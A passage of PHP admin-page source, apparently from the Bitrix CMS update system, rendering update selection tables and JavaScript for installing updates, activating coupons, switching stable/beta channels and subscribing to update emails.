for ($j = 0, $cntj = count($arModuleTmp["#"]["VERSION"]); $j < $cntj; $j++)
$strTitleTmp .= str_replace("#VER#", $arModuleTmp["#"]["VERSION"][$j]["@"]["ID"], GetMessage("SUP_SULL_VERSION"))."\n".$arModuleTmp["#"]["VERSION"][$j]["#"]["DESCRIPTION"][0]["#"]."\n";
}
$strTitleTmp = htmlspecialcharsbx(preg_replace("/<.+?>/i", "", $strTitleTmp));
?>
<tr title="<?= $strTitleTmp ?>" ondblclick="ShowDescription('<?= CUtil::JSEscape(htmlspecialcharsbx($arModuleTmp["@"]["ID"])) ?>')">
<td><INPUT TYPE="checkbox" NAME="select_module_<?= CUtil::JSEscape(htmlspecialcharsbx($arModuleTmp["@"]["ID"])) ?>" value="Y" onClick="ModuleCheckboxClicked(this, '<?= CUtil::JSEscape(htmlspecialcharsbx($arModuleTmp["@"]["ID"])) ?>', new Array());" checked id="id_select_module_<?= CUtil::JSEscape(htmlspecialcharsbx($arModuleTmp["@"]["ID"])) ?>"></td>
<td><label for="id_select_module_<?= CUtil::JSEscape(htmlspecialcharsbx($arModuleTmp["@"]["ID"])) ?>"><?= str_replace("#NAME#", htmlspecialcharsbx($arModuleTmp["@"]["NAME"]), GetMessage("SUP_SULL_MODULE")) ?></label></td>
<td><?= (array_key_exists($arUpdateList["MODULES"][0]["#"]["MODULE"][$i]["@"]["ID"], $arClientModules) ? GetMessage("SUP_SULL_REF_O") : GetMessage("SUP_SULL_REF_N")) ?></td>
<td><?= (isset($arModuleTmp["#"]["VERSION"]) ? $arModuleTmp["#"]["VERSION"][count($arModuleTmp["#"]["VERSION"]) - 1]["@"]["ID"] : "") ?></td>
<td><a href="javascript:ShowDescription('<?= CUtil::JSEscape(htmlspecialcharsbx($arModuleTmp["@"]["ID"])) ?>')"><?= GetMessage("SUP_SULL_NOTE_D") ?></a></td>
</tr>
<?
}
}
if (isset($arUpdateList["LANGS"][0]["#"]["INST"]))
{
for ($i = 0, $cnt = count($arUpdateList["LANGS"][0]["#"]["INST"][0]["#"]["LANG"]); $i < $cnt; $i++)
{
$arLangTmp = $arUpdateList["LANGS"][0]["#"]["INST"][0]["#"]["LANG"][$i];
?>
<tr>
<td><INPUT TYPE="checkbox" NAME="select_lang_<?= htmlspecialcharsbx($arLangTmp["@"]["ID"]) ?>" value="Y" onClick="EnableInstallButton(this);" checked id="id_select_lang_<?= htmlspecialcharsbx($arLangTmp["@"]["ID"]) ?>"></td>
<td><label for="id_select_lang_<?= htmlspecialcharsbx($arLangTmp["@"]["ID"]) ?>"><?= str_replace("#NAME#", htmlspecialcharsbx($arLangTmp["@"]["NAME"]), GetMessage("SUP_SULL_LANG")) ?></label></td>
<td><?= GetMessage("SUP_SULL_REF_O") ?></td>
<td><?= $arLangTmp["@"]["DATE"] ?></td>
<td> </td>
</tr>
<?
}
}
if (isset($arUpdateList["LANGS"][0]["#"]["OTHER"]) || isset($arUpdateList["HELPS"][0]["#"]["OTHER"]) || isset($arUpdateList["HELPS"][0]["#"]["INST"]))
{
?>
<tr>
<td colspan="5"><?= GetMessage("SUP_SU_OPTION") ?></td>
</tr>
<?
}
if (isset($arUpdateList["HELPS"][0]["#"]["INST"]))
{
for ($i = 0, $cnt = count($arUpdateList["HELPS"][0]["#"]["INST"][0]["#"]["HELP"]); $i < $cnt; $i++)
{
$arHelpTmp = $arUpdateList["HELPS"][0]["#"]["INST"][0]["#"]["HELP"][$i];
?>
<tr>
<td><INPUT TYPE="checkbox" NAME="select_help_<?= htmlspecialcharsbx($arHelpTmp["@"]["ID"]) ?>" value="Y" onClick="EnableInstallButton(this);" id="id_select_help_<?= htmlspecialcharsbx($arHelpTmp["@"]["ID"]) ?>"></td>
<td><label for="id_select_help_<?= htmlspecialcharsbx($arHelpTmp["@"]["ID"]) ?>"><?= str_replace("#NAME#", htmlspecialcharsbx($arHelpTmp["@"]["NAME"]), GetMessage("SUP_SULL_HELP")) ?></label></td>
<td><?= GetMessage("SUP_SULL_REF_O") ?></td>
<td><?= $arHelpTmp["@"]["DATE"] ?></td>
<td> </td>
</tr>
<?
}
}
if (isset($arUpdateList["LANGS"][0]["#"]["OTHER"]))
{
for ($i = 0, $cnt = count($arUpdateList["LANGS"][0]["#"]["OTHER"][0]["#"]["LANG"]); $i < $cnt; $i++)
{
$arLangTmp = $arUpdateList["LANGS"][0]["#"]["OTHER"][0]["#"]["LANG"][$i];
?>
<tr>
<td><INPUT TYPE="checkbox" NAME="select_lang_<?= htmlspecialcharsbx($arLangTmp["@"]["ID"]) ?>" value="Y" onClick="EnableInstallButton(this);" id="id_select_lang_<?= htmlspecialcharsbx($arLangTmp["@"]["ID"]) ?>"></td>
<td><label for="id_select_lang_<?= htmlspecialcharsbx($arLangTmp["@"]["ID"]) ?>"><?= str_replace("#NAME#", htmlspecialcharsbx($arLangTmp["@"]["NAME"]), GetMessage("SUP_SULL_LANG")) ?></label></td>
<td><?= GetMessage("SUP_SULL_ADD") ?></td>
<td><?= $arLangTmp["@"]["DATE"] ?></td>
<td> </td>
</tr>
<?
}
}
if (isset($arUpdateList["HELPS"][0]["#"]["OTHER"]))
{
for ($i = 0, $cnt = count($arUpdateList["HELPS"][0]["#"]["OTHER"][0]["#"]["HELP"]); $i < $cnt; $i++)
{
$arHelpTmp = $arUpdateList["HELPS"][0]["#"]["OTHER"][0]["#"]["HELP"][$i];
?>
<tr>
<td><INPUT TYPE="checkbox" NAME="select_help_<?= htmlspecialcharsbx($arHelpTmp["@"]["ID"]) ?>" value="Y" onClick="EnableInstallButton(this);" id="id_select_help_<?= htmlspecialcharsbx($arHelpTmp["@"]["ID"]) ?>"></td>
<td><label for="id_select_help_<?= htmlspecialcharsbx($arHelpTmp["@"]["ID"]) ?>"><?= str_replace("#NAME#", htmlspecialcharsbx($arHelpTmp["@"]["NAME"]), GetMessage("SUP_SULL_HELP")) ?></label></td>
<td><?= GetMessage("SUP_SULL_ADD1") ?></td>
<td><?= $arHelpTmp["@"]["DATE"] ?></td>
<td> </td>
</tr>
<?
}
}
?>
</table>
<SCRIPT LANGUAGE="JavaScript">
<!--
var arModuleUpdatesDescr = {<?
if (isset($arUpdateList["MODULES"][0]["#"]["MODULE"]))
{
for ($i = 0, $cnt = count($arUpdateList["MODULES"][0]["#"]["MODULE"]); $i < $cnt; $i++)
{
$arModuleTmp = $arUpdateList["MODULES"][0]["#"]["MODULE"][$i];
$strTitleTmp = '<h2>'.$arModuleTmp["@"]["NAME"].' ('.$arModuleTmp["@"]["ID"].')'.'</h2>';
$strTitleTmp .= '<p>'.$arModuleTmp["@"]["DESCRIPTION"].'</p>';
if (isset($arModuleTmp["#"]["VERSION"]))
{
for ($j = count($arModuleTmp["#"]["VERSION"]) - 1; $j >= 0; $j--)
{
$strTitleTmp .= '<p><b>';
$strTitleTmp .= str_replace("#VER#", $arModuleTmp["#"]["VERSION"][$j]["@"]["ID"], GetMessage("SUP_SULL_VERSION"));
$strTitleTmp .= '</b><br />';
$strTitleTmp .= $arModuleTmp["#"]["VERSION"][$j]["#"]["DESCRIPTION"][0]["#"];
$strTitleTmp .= '</p>';
}
}
$strTitleTmp = CUtil::JSEscape(preg_replace("/\r?\n/i", "<br>", $strTitleTmp));
if ($i > 0)
echo ",\n";
echo "\"".CUtil::JSEscape(htmlspecialcharsbx($arModuleTmp["@"]["ID"]))."\" : \"".$strTitleTmp."\"";
}
}
?>};
var arModuleUpdatesCnt = {<?
if ($countModuleUpdates > 0)
{
for ($i = 0, $cnt = count($arUpdateList["MODULES"][0]["#"]["MODULE"]); $i < $cnt; $i++)
{
if ($i > 0)
echo ", ";
echo "\"".$arUpdateList["MODULES"][0]["#"]["MODULE"][$i]["@"]["ID"]."\" : ";
if (isset($arUpdateList["MODULES"][0]["#"]["MODULE"][$i]["#"]["VERSION"])
&& is_array($arUpdateList["MODULES"][0]["#"]["MODULE"][$i]["#"]["VERSION"]))
{
if (!array_key_exists($arUpdateList["MODULES"][0]["#"]["MODULE"][$i]["@"]["ID"], $arClientModules))
echo count($arUpdateList["MODULES"][0]["#"]["MODULE"][$i]["#"]["VERSION"]) + 1;
else
echo count($arUpdateList["MODULES"][0]["#"]["MODULE"][$i]["#"]["VERSION"]);
}
else
{
echo "0";
}
}
}
?>};
var arModuleUpdatesControl = {<?
if ($countModuleUpdates > 0)
{
for ($i = 0, $cnt = count($arUpdateList["MODULES"][0]["#"]["MODULE"]); $i < $cnt; $i++)
{
if ($i > 0)
echo ", ";
echo "\"".$arUpdateList["MODULES"][0]["#"]["MODULE"][$i]["@"]["ID"]."\" : [";
$bFlagTmp = False;
if (isset($arUpdateList["MODULES"][0]["#"]["MODULE"][$i]["#"]["VERSION"])
&& is_array($arUpdateList["MODULES"][0]["#"]["MODULE"][$i]["#"]["VERSION"]))
{
for ($i1 = 0, $cnt1 = count($arUpdateList["MODULES"][0]["#"]["MODULE"][$i]["#"]["VERSION"]); $i1 < $cnt1; $i1++)
{
if (isset($arUpdateList["MODULES"][0]["#"]["MODULE"][$i]["#"]["VERSION"][$i1]["#"]["VERSION_CONTROL"]) && is_array($arUpdateList["MODULES"][0]["#"]["MODULE"][$i]["#"]["VERSION"][$i1]["#"]["VERSION_CONTROL"]))
{
for ($i2 = 0, $cnt2 = count($arUpdateList["MODULES"][0]["#"]["MODULE"][$i]["#"]["VERSION"][$i1]["#"]["VERSION_CONTROL"]); $i2 < $cnt2; $i2++)
{
if ($bFlagTmp)
echo ", ";
echo "\"".$arUpdateList["MODULES"][0]["#"]["MODULE"][$i]["#"]["VERSION"][$i1]["#"]["VERSION_CONTROL"][$i2]["@"]["MODULE"]."\"";
$bFlagTmp = true;
}
}
}
}
echo "]";
}
}
?>};
function ShowDescription(module)
{
new BX.CDialog({'content':arModuleUpdatesDescr[module],'width':'650','height':'470', 'title' : '<?=GetMessageJS("SUP_SULD_DESC")?>'}).Show();
}
function DisableUpdatesTable()
{
document.getElementById("install_updates_sel_button").disabled = true;
var tableUpdatesSelList = document.getElementById("table_updates_sel_list");
var i;
var n = tableUpdatesSelList.rows.length;
for (i = 0; i < n; i++)
{
var box = tableUpdatesSelList.rows[i].cells[0].childNodes[0];
if (box && box.tagName && box.tagName.toUpperCase() == 'INPUT' && box.type.toUpperCase() == "CHECKBOX")
{
box.disabled = true;
}
}
}
function InstallUpdatesSel()
{
SetProgressHint("<?= GetMessage("SUP_INITIAL") ?>");
var moduleList = "";
var langList = "";
var helpList = "";
globalQuantity = 0;
var tableUpdatesSelList = document.getElementById("table_updates_sel_list");
var i;
var n = tableUpdatesSelList.rows.length;
for (i = 1; i < n; i++)
{
var box = tableUpdatesSelList.rows[i].cells[0].childNodes[0];
if (box && box.tagName && box.tagName.toUpperCase() == 'INPUT' && box.type.toUpperCase() == "CHECKBOX")
{
if (box.checked)
{
if (box.name.substring(0, 14) == "select_module_")
{
if (moduleList.length > 0)
moduleList += ",";
moduleList += box.name.substring(14);
globalQuantity += arModuleUpdatesCnt[box.name.substring(14)];
}
else
{
if (box.name.substring(0, 12) == "select_lang_")
{
if (langList.length > 0)
langList += ",";
langList += box.name.substring(12);
globalQuantity += 1;
}
else
{
if (box.name.substring(0, 12) == "select_help_")
{
if (helpList.length > 0)
helpList += ",";
helpList += box.name.substring(12);
globalQuantity += 1;
}
}
}
}
}
}
var additionalParams = "";
cycleModules = false;
cycleLangs = false;
cycleHelps = false;
if (moduleList.length > 0)
{
cycleModules = true;
if (additionalParams.length > 0)
additionalParams += "&";
additionalParams += "requested_modules=" + moduleList;
}
if (langList.length > 0)
{
cycleLangs = true;
if (additionalParams.length > 0)
additionalParams += "&";
additionalParams += "requested_langs=" + langList;
}
if (helpList.length > 0)
{
cycleHelps = true;
if (additionalParams.length > 0)
additionalParams += "&";
additionalParams += "requested_helps=" + helpList;
}
aStrParams = additionalParams;
tabControl.SelectTab('tab1');
__InstallUpdates();
SetProgressD();
}
function in_array(val, arr)
{
for (var i = 0, l = arr.length; i < l; i++)
if (arr[i] == val)
return true;
return false;
}
function ModuleCheckboxClicked(checkbox, module, arProcessed)
{
arProcessed[arProcessed.length] = module;
if (checkbox.checked && arModuleUpdatesControl[module].length > 0)
{
var tbl = checkbox.parentNode.parentNode.parentNode.parentNode;
var i;
var n = tbl.rows.length;
for (i = 1; i < n; i++)
{
var box = tbl.rows[i].cells[0].childNodes[0];
if (box && box.tagName && box.tagName.toUpperCase() == 'INPUT' && box.type.toUpperCase() == "CHECKBOX")
{
if (box.name.substr(0, 14) == "select_module_")
{
var moduleTmp = box.name.substr(14);
if (!in_array(moduleTmp, arProcessed))
{
var i1;
var n1 = arModuleUpdatesControl[module].length;
for (i1 = 0; i1 < n1; i1++)
{
if (moduleTmp == arModuleUpdatesControl[module][i1]
&& arModuleUpdatesControl[module][i1] != module)
{
arProcessed[arProcessed.length] = moduleTmp;
box.checked = checkbox.checked;
ModuleCheckboxClicked(box, arModuleUpdatesControl[module][i1], arProcessed);
break;
}
}
}
}
}
}
}
if (!checkbox.checked)
{
var tbl = checkbox.parentNode.parentNode.parentNode.parentNode;
var i;
var n = tbl.rows.length;
for (i = 1; i < n; i++)
{
var box = tbl.rows[i].cells[0].childNodes[0];
if (box && box.tagName && box.tagName.toUpperCase() == 'INPUT' && box.type.toUpperCase() == "CHECKBOX")
{
if (box.name.substr(0, 14) == "select_module_")
{
var moduleTmp = box.name.substr(14);
if (moduleTmp != module && !in_array(moduleTmp, arProcessed) && arModuleUpdatesControl[moduleTmp].length > 0)
{
var i1;
var n1 = arModuleUpdatesControl[moduleTmp].length;
for (i1 = 0; i1 < n1; i1++)
{
if (module == arModuleUpdatesControl[moduleTmp][i1])
{
arProcessed[arProcessed.length] = moduleTmp;
box.checked = checkbox.checked;
ModuleCheckboxClicked(box, moduleTmp, arProcessed);
break;
}
}
}
}
}
}
}
EnableInstallButton(checkbox);
}
function EnableInstallButton(checkbox)
{
var tbl = checkbox.parentNode.parentNode.parentNode.parentNode;
var bEnable = false;
var i;
var n = tbl.rows.length;
for (i = 1; i < n; i++)
{
var box = tbl.rows[i].cells[0].childNodes[0];
if (box && box.tagName && box.tagName.toUpperCase() == 'INPUT' && box.type.toUpperCase() == "CHECKBOX")
{
if (box.checked && !box.disabled)
{
bEnable = true;
break;
}
}
}
var installUpdatesSelButton = document.getElementById("install_updates_sel_button");
installUpdatesSelButton.disabled = !bEnable;
}
function SelectAllRows(checkbox)
{
var tbl = checkbox.parentNode.parentNode.parentNode.parentNode;
var bChecked = checkbox.checked;
var i;
var n = tbl.rows.length;
for (i = 1; i < n; i++)
{
var box = tbl.rows[i].cells[0].childNodes[0];
if (box && box.tagName && box.tagName.toUpperCase() == 'INPUT' && box.type.toUpperCase() == "CHECKBOX")
{
if (box.checked != bChecked && !box.disabled)
box.checked = bChecked;
}
}
var installUpdatesSelButton = document.getElementById("install_updates_sel_button");
installUpdatesSelButton.disabled = !bChecked;
}
function LockControls()
{
tabControl.SelectTab('tab1');
tabControl.DisableTab('tab2');
//tabControl.DisableTab('tab_coupon');
tabControl.DisableTab('tab3');
document.getElementById("install_updates_button").disabled = true;
document.getElementById("id_view_updates_list_span").innerHTML = "<u><?= GetMessage("SUP_SU_UPD_VIEW") ?></u>";
document.getElementById("id_view_updates_list_span").disabled = true;
}
function UnLockControls()
{
tabControl.EnableTab('tab1');
tabControl.EnableTab('tab2');
tabControl.EnableTab('tab_coupon');
tabControl.EnableTab('tab3');
document.getElementById("install_updates_button").disabled = <?= (($countModuleUpdates <= 0 && $countLangUpdatesInst <= 0) ? "true" : "false") ?>;
document.getElementById("id_view_updates_list_span").disabled = false;
document.getElementById("id_view_updates_list_span").innerHTML = '<a id="id_view_updates_list" href="javascript:tabControl.SelectTab(\'tab2\');"><?= GetMessage("SUP_SU_UPD_VIEW") ?></a>';
var cnt = document.getElementById("id_register_btn");
if (cnt != null)
cnt.disabled = false;
}
//-->
</SCRIPT>
<?
}
?>
</td>
</tr>
<?
$tabControl->EndTab();
$tabControl->BeginNextTab();
?>
<tr>
<td colspan="2">
<?
if (!$bLockUpdateSystemKernel)
{
?>
<div id="upd_add_coupon_div">
<table border="0" cellspacing="1" cellpadding="3" width="100%" class="internal">
<tr class="heading">
<td><B><?= GetMessage("SUP_SUAC_COUP1") ?></B></td>
</tr>
<tr>
<td>
<table cellpadding="0" cellspacing="0">
<tr>
<td class="icon-new"><div class="icon icon-licence"></div></td>
<td>
<?if (IntVal($arUpdateList["CLIENT"][0]["@"]["MAX_SITES"]) > 0):?>
<?= str_replace("#NUM#", $arUpdateList["CLIENT"][0]["@"]["MAX_SITES"], GetMessage("SUP_SUAC_LIMIT")) ?>
<?else:?>
<?= GetMessage("SUP_CHECK_PROMT_2") ?>
<?endif;?>
<br><br>
<?if (IntVal($arUpdateList["CLIENT"][0]["@"]["MAX_USERS"]) > 0):?>
<?= str_replace("#NUM#", $arUpdateList["CLIENT"][0]["@"]["MAX_USERS"], GetMessage("SUP_SUAC_LIMIT1")) ?>
<?else:?>
<?= GetMessage("SUP_CHECK_PROMT_21") ?>
<?endif;?>
<br><br>
<?= GetMessage("SUP_SUAC_HINT") ?>
<br><br>
<?= GetMessage("SUP_SUAC_PROMT") ?>:<br>
<INPUT TYPE="text" ID="id_coupon" NAME="COUPON" value="" size="35">
<input TYPE="button" ID="id_coupon_btn" NAME="coupon_btn" value="<?= GetMessage("SUP_SUAC_BUTTON") ?>" onclick="ActivateCoupon()">
</td>
</tr>
</table>
</td>
</tr>
</table>
</div>
<SCRIPT LANGUAGE="JavaScript">
<!--
function ActivateCoupon()
{
document.getElementById("id_coupon_btn").disabled = true;
ShowWaitWindow();
CHttpRequest.Action = function(result)
{
CloseWaitWindow();
result = PrepareString(result);
if (result == "Y")
{
alert("<?= GetMessage("SUP_SUAC_SUCCESS") ?>");
window.location.href = "update_system.php?lang=<?= LANG ?>";
}
else
{
alert("<?= GetMessage("SUP_SUAC_ERROR") ?>: " + result);
document.getElementById("id_coupon_btn").disabled = false;
}
}
var param = document.getElementById("id_coupon").value;
if (param.length > 0)
{
updRand++;
CHttpRequest.Send('/bitrix/admin/update_system_act.php?query_type=coupon&<?= bitrix_sessid_get() ?>&COUPON=' + encodeURIComponent(param) + "&updRand=" + updRand);
}
else
{
document.getElementById("id_coupon_btn").disabled = false;
CloseWaitWindow();
alert("<?= GetMessage("SUP_SUAC_NO_COUP") ?>");
}
}
//-->
</SCRIPT>
<?
}
?>
</td>
</tr>
<?
$tabControl->EndTab();
$tabControl->BeginNextTab();
?>
<tr>
<td colspan="2">
<?
if (!$bLockUpdateSystemKernel)
{
?>
<div id="upd_stability_div">
<table border="0" cellspacing="1" cellpadding="3" width="100%" class="internal">
<tr class="heading">
<td><B><?= GetMessage("SUP_SUBV_BETA") ?></B></td>
</tr>
<tr>
<td>
<table cellpadding="0" cellspacing="0">
<tr>
<td class="icon-new"><div class="icon icon-beta"></div></td>
<td>
<?
$m = "";
if ($stableVersionsOnly === "Y")
{
$m = GetMessage("SUP_STABLE_ON_PROMT");
}
elseif ($stableVersionsOnly === "N")
{
$m = GetMessage("SUP_STABLE_OFF_PROMT");
}
elseif (is_numeric($stableVersionsOnly) && isset($arUpdateList["AVAILABLE_VERSIONS"]) && is_array($arUpdateList["AVAILABLE_VERSIONS"]) && isset($arUpdateList["AVAILABLE_VERSIONS"][0]["#"]["VERSIONS"]) && is_array($arUpdateList["AVAILABLE_VERSIONS"][0]["#"]["VERSIONS"]))
{
foreach ($arUpdateList["AVAILABLE_VERSIONS"][0]["#"]["VERSIONS"] as $versions)
{
if (intval($versions["@"]["ID"]) === intval($stableVersionsOnly))
{
$m = "<b>".GetMessage("SUP_SU_UPD_HINT_CHECK_VERS", array("#NAME#" => $versions["@"]["NAME"]))."</b><br><br>";
$m .= (($versions["@"]["IS_STABLE"] === "Y") ? GetMessage("SUP_STABLE_ON_PROMT") : GetMessage("SUP_STABLE_OFF_PROMT"));
break;
}
}
}
else
{
$m = GetMessage("SUP_STABLE_ON_PROMT");
}
echo $m;
?>
<br><br>
<?= GetMessage("SUP_SUBV_HINT") ?><br><br>
<select id="id_stable_select" name="stable_select" onchange="SwithStability()">
<option value="Y"<?= ($stableVersionsOnly === "Y") ? " selected" : ""; ?>><?= GetMessage("SUP_SUBV_STABB") ?></option>
<option value="N"<?= ($stableVersionsOnly === "N") ? " selected" : ""; ?>><?= GetMessage("SUP_SUBV_BETB") ?></option>
<?
if (isset($arUpdateList["AVAILABLE_VERSIONS"]) && is_array($arUpdateList["AVAILABLE_VERSIONS"]) && isset($arUpdateList["AVAILABLE_VERSIONS"][0]["#"]["VERSIONS"]) && is_array($arUpdateList["AVAILABLE_VERSIONS"][0]["#"]["VERSIONS"]))
{
foreach ($arUpdateList["AVAILABLE_VERSIONS"][0]["#"]["VERSIONS"] as $versions)
{
?><option value="<?= intval($versions["@"]["ID"]) ?>"<?= (intval($versions["@"]["ID"]) === intval($stableVersionsOnly)) ? " selected" : "";?>><?
echo htmlspecialcharsbx($versions["@"]["NAME"]);
if ($versions["@"]["IS_STABLE"] === "N")
echo " (beta version)";
?></option><?
}
}
?>
</select>
</td>
</tr>
</table>
</td>
</tr>
</table>
</div>
<SCRIPT LANGUAGE="JavaScript">
<!--
function SwithStability()
{
var sel = document.getElementById("id_stable_select");
sel.disabled = true;
ShowWaitWindow();
CHttpRequest.Action = function(result)
{
result = PrepareString(result);
if (result == "Y")
{
window.location.href = "update_system.php?lang=<?= LANG ?>";
}
else
{
CloseWaitWindow();
alert("<?= GetMessage("SUP_SUBV_ERROR") ?>: " + result);
sel.disabled = false;
}
}
updRand++;
CHttpRequest.Send('/bitrix/admin/update_system_act.php?query_type=stability&<?= bitrix_sessid_get() ?>&STABILITY=' + encodeURIComponent(sel.options[sel.selectedIndex].value) + "&updRand=" + updRand);
}
//-->
</SCRIPT>
<BR>
<div id="upd_mail_div">
<table border="0" cellspacing="1" cellpadding="3" width="100%" class="internal">
<tr class="heading">
<td><B><?= GetMessage("SUP_SUSU_TITLE") ?></B></td>
</tr>
<tr>
<td>
<table cellpadding="0" cellspacing="0">
<tr>
<td class="icon-new"><div class="icon icon-subscribe"></div></td>
<td>
<?= GetMessage("SUP_SUSU_HINT") ?>
<br><br>
<?= GetMessage("SUP_SUSU_EMAIL") ?>: <br>
<INPUT TYPE="text" ID="id_email" NAME="EMAIL" value="" size="35">
<input TYPE="button" ID="id_email_btn" NAME="email_btn" value="<?= GetMessage("SUP_SUSU_BUTTON") ?>" onclick="SubscribeMail()">
</td>
</tr>
</table>
</td>
</tr>
</table>
</div>
<SCRIPT LANGUAGE="JavaScript">
<!--
function SubscribeMail()
{
document.getElementById("id_email_btn").disabled = true;
ShowWaitWindow();
CHttpRequest.Action = function(result)
{
CloseWaitWindow();
result = PrepareString(result);
document.getElementById("id_email_btn").disabled = false;
if (result == "Y")
{
alert("<?= GetMessage("SUP_SUSU_SUCCESS") ?>");
}
else
{
alert("<?= GetMessage("SUP_SUSU_ERROR") ?>: " + result);
}
}
var param = document.getElementById("id_email").value;
if (param.length > 0)
{
updRand++;
CHttpRequest.Send('/bitrix/admin/update_system_act.php?query_type=mail&<?= bitrix_sessid_get() ?>&EMAIL=' + encodeURIComponent(param) + "&updRand=" + updRand);
}
else
{
CloseWaitWindow();
document.getElementById("id_email_btn").disabled = false;
alert("<?= GetMessage("SUP_SUSU_NO_EMAIL") ?>");
}
}
//-->
</SCRIPT>
<?
}
?>
</td>
</tr>
<?
$tabControl->EndTab();
$tabControl->End();
?>
<SCRIPT LANGUAGE="JavaScript">
<!--
<?
if ($bLockControls)
echo "if (window.LockControls) LockControls();";
?>
//-->
</SCRIPT>
</form>
<?echo BeginNote();?>
<?= GetMessage("SUP_SUG_NOTES") ?><br><br>
<?= GetMessage("SUP_SUG_NOTES1") ?>
<?echo EndNote(); ?>
<form id="check_key_info_form" action="<?=GetMessage("SUP_SUA_DOMAIN")?>" method="post" target="_blank">
<input type="hidden" name="license_key" value="<?= md5(CUpdateClient::GetLicenseKey()) ?>">
</form>
<?
COption::SetOptionString("main", "update_system_check", Date($DB->DateFormatToPHP(CSite::GetDateFormat("FULL")), time()));
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_admin.php");
?>